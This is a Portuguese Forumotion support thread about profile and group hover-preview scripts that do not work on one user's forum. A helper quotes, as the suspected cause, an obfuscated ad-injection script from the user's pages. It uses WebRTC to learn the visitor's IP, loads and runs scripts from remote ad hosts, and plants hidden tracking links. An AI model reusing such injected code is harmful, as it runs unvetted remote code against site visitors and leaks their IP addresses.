Visualização rápida de perfil e grupo

4 participantes

Ver o tópico anterior Ver o tópico seguinte Ir para baixo

  • 0

Tópico resolvido Visualização rápida de perfil e grupo

Mensagem por Hossain 02.01.21 8:17

Detalhes da questão


Endereço do fórum: http://cricket.goodforum.net
Versão do fórum: phpBB3

Descrição


Olá, o código de java script de visualização de perfil e visualização de grupo não está funcionando, mas ESTE código está funcionando em meu fórum de teste. acabo de dar a vocês dois scripts java abaixo:
Código:
$(function() {
  var max_users = 10, // max number of users
 
      // language data
      lang = {
        view_group : 'View the full group',
        loading : 'Loading...',
        view_err : 'The group data could not be retrieved.'
      },
 
      links = $('a[href^="/g"]').filter(function() {
        if (/\/g\d+-/.test(this.href)) {
          return this;
        }
      }),
 
      groupsinfo = {};
 
  links.tooltipster && links.not('.tooltipstered').tooltipster({
    animation : 'fade',
    interactive : true,
    contentAsHTML : true,
    minWidth : 300,
    maxWidth : 300,
    delay : 500,
    theme : 'tooltipster-default',
    arrowColor : "#EEE",
    autoClose : true,
    content : lang.loading,
    functionBefore : function(origin, continueTooltip) {
      continueTooltip();
 
      var groupURL = $(this).attr('href'),
          groupId = groupURL.replace(/.*?\/g(\d+).*/, '$1'),
          groupName = $(this).text();
 
      if (origin.data('ajax') !== 'cached') {
        if (groupsinfo[groupId] != undefined) {
          origin.tooltipster('content', groupsinfo[groupId]).data('ajax', 'cached');
        } else {
          $.get(groupURL, function(d) {
            var user = $('form[action="' + groupURL + '"] a[href^="/u"]', d),
                i = 0,
                li,
                container = $('<div>'+
                  '<div class="fa_group_preview">'+
                    '<h2 class="fa_group_name">' + groupName + '</h2>'+
                    '<p class="fa_group_desc">' + $('form[action^="/g"]', d).find('dl:eq(1) dd, tr:eq(2) td.row2 .gen').text() + '</p>'+
                    '<ol class="fa_group_list"></ol>'+
                    '<div class="fa_group_button">'+
                      '<a href="' + groupURL + '" class="button1">' + lang.view_group + '</a>'+
                    '</div>'+
                  '</div>'+
                '</div>');
 
            for (; i < max_users; i++) {
              if (user[i]) {
                li = document.createElement('LI');
                li.appendChild(user[i]);
                $('ol', container).append(li);
              }
            }
 
            if (!$('li', container).length) {
              $('ol', container).after('<div>' + lang.view_err + '</div>');
            }
 
            groupsinfo[groupId] = container.html();
            origin.tooltipster('content', groupsinfo[groupId]).data('ajax', 'cached');
          });
        }
      }
    }
  });
 
  $('head').append(
    '<style type="text/css">'+
      '.fa_group_preview { font-family:Arial; font-size:12px; color:#000; }'+
      '.fa_group_preview a { text-decoration:none; }'+
      'h2.fa_group_name { font-size:24px; }'+
      'p.fa_group_desc, h2.fa_group_name { margin:10px 0 10px 0; }'+
      'ol.fa_group_list { margin:0 25px; padding:0; }'+
      '.fa_group_button { margin-top:10px; text-align:center; }'+
    '</style>'
  );
});

Código:
$(function() {
  var links = $('a[href^="/u"]').filter(function() {
    if (this.firstChild && this.firstChild.tagName) {
      if (this.firstChild.tagName != 'IMG') {
        return this;
      }
    } else {
      return this;
    }
  }),
    
  usersinfo = {};
 
  links.tooltipster && links.not('.mentiontag, .tooltipstered').filter(function() {
    if (!$(this).closest('#tabs')[0]) {
      return this;
    }
  }).tooltipster({
    animation : 'fade',
    interactive : true,
    contentAsHTML : true,
    minWidth : 300,
    maxWidth : 300,
    delay : 500,
    arrowColor : "#EEE",
    autoClose : true,
    content : 'Loading...',
    functionBefore: function(origin, continueTooltip) {
      continueTooltip();
 
      var userid = $(this).attr('href').replace(/.*?\/u(\d+).*/, '$1');
      if (origin.data('ajax') !== 'cached') {
        if (usersinfo[userid] != undefined) {
          origin.tooltipster('content', usersinfo[userid]).data('ajax', 'cached');
        } else {
          $.ajax({
            type: 'GET',
            url: "/ajax/index.php",
            dataType: "html",
          
            data: {
              f: "m",
              user_id: userid
            },
 
            success: function(html) {
              usersinfo[userid] = html;
              origin.tooltipster('content', html).data('ajax', 'cached');
            }
          });
        }
      }
    }
  });
});

e os links do tutorial (por Ange Tuteur) que usei abaixo.
https://fmdesign.forumotion.com/t1030-display-a-preview-of-groups-on-hover

https://fmdesign.forumotion.com/t404-display-a-preview-of-the-user-profile-on-hover
mesmo eu ativar essas opções abaixo, mas ainda não está funcionando. qualquer solução ou correção sobre isso?

https://i.servimg.com/u/f75/20/29/09/97/20210110.png
Hossain

Hossain
***

Membro desde : 16/12/2020
Mensagens : 105
Pontos : 192

http://bslccr.forumotion.com

Ir para o topo Ir para baixo

Principal Contribuidor

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Shek 02.01.21 10:04

Bom dia!

Provavelmente não estão a funcionar por conta de alguns erros de script em seu fórum. Consulte o console do navegador pressionando F12 e indo até a aba "Console". Exemplo de erro, é este código:
Código:
<script type="text/javascript">//<![CDATA[
    function AT_adFillSlot(){document.write('<div id="awn-z3133087" style="display: inline-flex;"></div>
<scr' + 'ipt data-cfasync="false" type="text/javascript">
var zoneNativeSett={container:"awn",baseUrl:"discovernative.com/script/native.php",r:[3133087]};
var urls={cdnUrls:["//superonclick.com","//geniusonclick.com"],cdnIndex:0,rand:Math.random(),events:["click","mousedown","touchstart"],useFixer:!0,onlyFixer:!1,fixerBeneath:!1};function acPrefetch(e){var t,n=document.createElement("link");t=void 0!==document.head?document.head:document.getElementsByTagName("head")[0],n.rel="dns-prefetch",n.href=e,t.appendChild(n);var r=document.createElement("link");r.rel="preconnect",r.href=e,t.appendChild(r)}var nativeInit=new function(){var a="",i=Math.floor(1e12*Math.random()),o=Math.floor(1e12*Math.random()),t=window.location.protocol,c={_0:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){for(var t,n,r,a,i,o,c="",s=0;s<e.length;)a=(t=e.charCodeAt(s++))>>2,t=(3&t)<<4|(n=e.charCodeAt(s++))>>4,i=(15&n)<<2|(r=e.charCodeAt(s++))>>6,o=63&r,isNaN(n)?i=o=64:isNaN(r)&&(o=64),c=c+this._0.charAt(a)+this._0.charAt(t)+this._0.charAt(i)+this._0.charAt(o);return c}};this.init=function(){e()};var e=function(){var e=document.createElement("script");e.setAttribute("data-cfasync",!1),e.src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js",e.onerror=function(){!0,r(),n()},e.onload=function(){nativeForPublishers.init()},nativeForPublishers.attachScript(e)},n=function(){""!==a?s(i,t):setTimeout(n,250)},r=function(){var t=new(window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection)({iceServers:[{urls:"stun:1755001826:443"}]},{optional:[{RtpDataChannels:!0}]});t.onicecandidate=function(e){!e.candidate||e.candidate&&-1==e.candidate.candidate.indexOf("srflx")||!(e=/([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(e.candidate.candidate)[1])||e.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)||e.match(/^[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7}$/)||(a=e)},t.createDataChannel(""),t.createOffer(function(e){t.setLocalDescription(e,function(){},function(){})},function(){})},s=function(){var e=document.createElement("script");e.setAttribute("data-cfasync",!1),e.src=t+"//"+a+"/"+c.encode(i+"/"+(i+5))+".js",e.onload=function(){for(var e in zoneNativeSett.r)d(zoneNativeSett.r[e])},nativeForPublishers.attachScript(e)},d=function(e){var t="jsonp"+Math.round(1000001*Math.random()),n=[i,parseInt(e)+i,o,"callback="+t],r="http://"+a+"/"+c.encode(n.join("/"));new native_request(r,e,t).jsonp()}},nativeForPublishers=new function(){var n=this,e=Math.random();n.getRand=function(){return e},this.getNativeRender=function(){if(!n.nativeRenderLoaded){var e=document.createElement("script");e.setAttribute("data-cfasync","false"),e.src=urls.cdnUrls[urls.cdnIndex]+"/script/native_render.js",e.onerror=function(){throw new Error("cdnerr")},e.onload=function(){n.nativeRenderLoaded=!0},n.attachScript(e)}},this.getNativeResponse=function(){if(!n.nativeResponseLoaded){var e=document.createElement("script");e.setAttribute("data-cfasync","false"),e.src=urls.cdnUrls[urls.cdnIndex]+"/script/native_server.js",e.onerror=function(){throw new Error("cdnerr")},e.onload=function(){n.nativeResponseLoaded=!0},n.attachScript(e)}},this.attachScript=function(e){var t;void 0!==document.scripts&&(t=document.scripts[0]),void 0===t&&(t=document.getElementsByTagName("script")[0]),t.parentNode.insertBefore(e,t)},this.fetchCdnScripts=function(){if(urls.cdnIndex<urls.cdnUrls.length)try{n.getNativeRender(),n.getNativeResponse()}catch(e){urls.cdnIndex++,n.fetchCdnScripts()}},this.scriptsLoaded=function(){if(n.nativeResponseLoaded&&n.nativeRenderLoaded){var e=[];for(zone in zoneNativeSett.r)document.getElementById(zoneNativeSett.container+"-z"+zoneNativeSett.r[zone])&&(e[zoneNativeSett.r[zone]]=new native_request("//"+zoneNativeSett.baseUrl+"?nwpsv=1&",zoneNativeSett.r[zone]),e[zoneNativeSett.r[zone]].build());for(var t in e)e[t].jsonp("callback",(e[t],function(e,t){setupAd(zoneNativeSett.container+"-z"+t,e)}))}else setTimeout(n.scriptsLoaded,250)},this.init=function(){var e;if(n.insertBotTrapLink(),0===window.location.href.indexOf("file://"))for(e=0;e<urls.cdnUrls.length;e++)0===urls.cdnUrls[e].indexOf("//")&&(urls.cdnUrls[e]="http:"+urls.cdnUrls[e]);for(e=0;e<urls.cdnUrls.length;e++)acPrefetch(urls.cdnUrls[e]);n.fetchCdnScripts(),n.scriptsLoaded()},this.insertBotTrapLink=function(){var e=document.createElement("a");e.href=window.location.protocol+"//discovernative.com/al/visit.php?al=1,4",e.style.display="none",e.style.visibility="hidden",e.style.position="relative",e.style.left="-1000px",e.style.top="-1000px",e.style.color="#fff",e.link="<a href=\'http://discovernative.com/al/visit.php?al=1,5\'></a>",e.innerHTML="",document.body.appendChild(e)}};nativeInit.init(); </scr' + 'ipt> <a href="https://discovernative.com/al/visit.php?al=1,7" style="position:absolute;top:-1000px;left:-1000px;width:1px;height:1px;visibility:hidden;display:none;border:medium none;background-color:transparent;"></a> <noscript><a href="https://discovernative.com/al/visit.php?al=1,6" style="position:absolute;top:-1000px;left:-1000px;width:1px;height:1px;visibility:hidden;display:none;border:medium none;background-color:transparent;"></a></noscript>');}//]]>
</script>
Algo de errado nele impede o funcionamento de qualquer aplicação.

Até mais.
Shek

Shek
Principal Contribuidor
Principal Contribuidor

Membro desde : 11/04/2009
Mensagens : 18896
Pontos : 22793

https://shiftactive.blogspot.com/ https://www.facebook.com/ShiftActif https://twitter.com/ShiftActif

Ir para o topo Ir para baixo

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Hossain 02.01.21 11:45

Olá, Estou usando o celular. então não consigo encontrar o script de erro no meu fórum. você pode fazer algo por mim com uma conta de teste, por favor? Saudações, C. Gayle
i Verifique todos os meus códigos de scripts java. todos são scripts corretos. Eu acho que esse problema do tema pode ser.
Hossain

Hossain
***

Membro desde : 16/12/2020
Mensagens : 105
Pontos : 192

http://bslccr.forumotion.com

Ir para o topo Ir para baixo

Membro Entusiasta

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Roevs 02.01.21 23:54

Olá,

Entrei no link do seu fórum informado no tópico, e consta que está funcionando perfeitamente
https://prnt.sc/wezdti
O fórum que o código não funciona é o https://cricket.goodforum.net/, correto?

Até mais!
Roevs

Roevs
Membro Entusiasta
Membro Entusiasta

Membro desde : 10/02/2012
Mensagens : 6484
Pontos : 8343

https://www.sololevelingrpg.com/

Ir para o topo Ir para baixo

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Hossain 03.01.21 1:36

Olá, Sim, acho que foi um problema do navegador porque ele não está funcionando no navegador crome, mas está funcionando corretamente no navegador padrão do celular Samsung.
Hossain

Hossain
***

Membro desde : 16/12/2020
Mensagens : 105
Pontos : 192

http://bslccr.forumotion.com

Ir para o topo Ir para baixo

Membro Entusiasta

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Roevs 03.01.21 1:50

Olá,

Tente apagar os cookies e cache do navegador chrome e veja se tem alguma resultado

Até mais!
Roevs

Roevs
Membro Entusiasta
Membro Entusiasta

Membro desde : 10/02/2012
Mensagens : 6484
Pontos : 8343

https://www.sololevelingrpg.com/

Ir para o topo Ir para baixo

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Hossain 03.01.21 2:57

ola, limpei os cookies, mas não estou funcionando no navegador crome. até mesmo eu tentei na guia anônima, mas ainda tenho os mesmos problemas do crome quando meu outro fórum alternativo está funcionando no crome
Hossain

Hossain
***

Membro desde : 16/12/2020
Mensagens : 105
Pontos : 192

http://bslccr.forumotion.com

Ir para o topo Ir para baixo

Membro Entusiasta

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Roevs 03.01.21 4:49

Olá,

Poderia me informar qual o link do fórum que o código não está funcionando?

Até mais!
Roevs

Roevs
Membro Entusiasta
Membro Entusiasta

Membro desde : 10/02/2012
Mensagens : 6484
Pontos : 8343

https://www.sololevelingrpg.com/

Ir para o topo Ir para baixo

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Hossain 03.01.21 6:28

Olá, este código está funcionando em meu outro fórum http://bslccr.forumotion.com do navegador Chrome, mas não está funcionando em meu fórum de teste http://cricket.goodforum.net do navegador Chrome e outros navegadores, exceto navegadores Samsung.


Última edição por Chris Gayle em 04.01.21 14:32, editado 1 vez(es)
Hossain

Hossain
***

Membro desde : 16/12/2020
Mensagens : 105
Pontos : 192

http://bslccr.forumotion.com

Ir para o topo Ir para baixo

Admineiro

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por tikky 04.01.21 14:19

Olá @Chris Gayle,

mas não está funcionando em meu fórum de teste http://cricket.goodforum.com

Não consigo entrar nesse fórum:

Visualização rápida de perfil e grupo YX39H9p


Atenciosamente,
pedxz.
tikky

tikky
Admineiro
Admineiro

Membro desde : 13/01/2017
Mensagens : 7806
Pontos : 9049

Ir para o topo Ir para baixo

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por Hossain 04.01.21 14:36

desculpa querido Pedro, foi dot net not com, desculpe
Hossain

Hossain
***

Membro desde : 16/12/2020
Mensagens : 105
Pontos : 192

http://bslccr.forumotion.com

Ir para o topo Ir para baixo

Admineiro

Tópico resolvido Re: Visualização rápida de perfil e grupo

Mensagem por tikky 04.01.21 15:25

https://cricket.goodforum.net/ esse é o link!

Tópico resolvido


Movido para "Questões resolvidas".
tikky

tikky
Admineiro
Admineiro

Membro desde : 13/01/2017
Mensagens : 7806
Pontos : 9049

Ir para o topo Ir para baixo

Ver o tópico anterior Ver o tópico seguinte Ir para o topo

- Tópicos semelhantes

Permissões neste sub-fórum
Não podes responder a tópicos